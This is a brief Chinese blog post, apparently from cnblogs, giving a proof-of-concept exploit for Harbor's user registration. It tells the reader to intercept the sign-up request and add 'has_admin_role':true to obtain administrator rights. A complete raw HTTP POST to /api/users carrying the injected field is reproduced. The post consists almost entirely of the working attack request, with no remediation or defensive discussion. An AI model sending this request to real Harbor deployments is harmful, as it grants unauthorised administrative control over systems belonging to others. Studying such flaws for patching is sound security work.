注册时抓包
![](https://img2018.cnblogs.com/blog/1431916/201909/1431916-20190921102110290-1187576864.png)
添加poc
"has_admin_role":true
![](https://img2018.cnblogs.com/blog/1431916/201909/1431916-20190921102243450-545401406.png)
管理员权限
![](https://img2018.cnblogs.com/blog/1431916/201909/1431916-20190921102301335-572932688.png)
POC
POST /api/users HTTP/1.1
Host: 127.0.0.1
Content-Length: 131
Accept: application/json
Origin: http://127.0.0.1
User-Agent: Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14
Content-Type: application/json
Referer: http://127.0.0.1/harbor/sign-in
Accept-Language: zh-CN,zh;q=0.9
Cookie: sid=5bb9aad90164bd2ed5274edaf20f9c81
Connection: close
{"username":"mrhonest","email":"mrhonest@qq.com","realname":"mrhonest","password":"111111Aaa","comment":"11111","has_admin_role":true}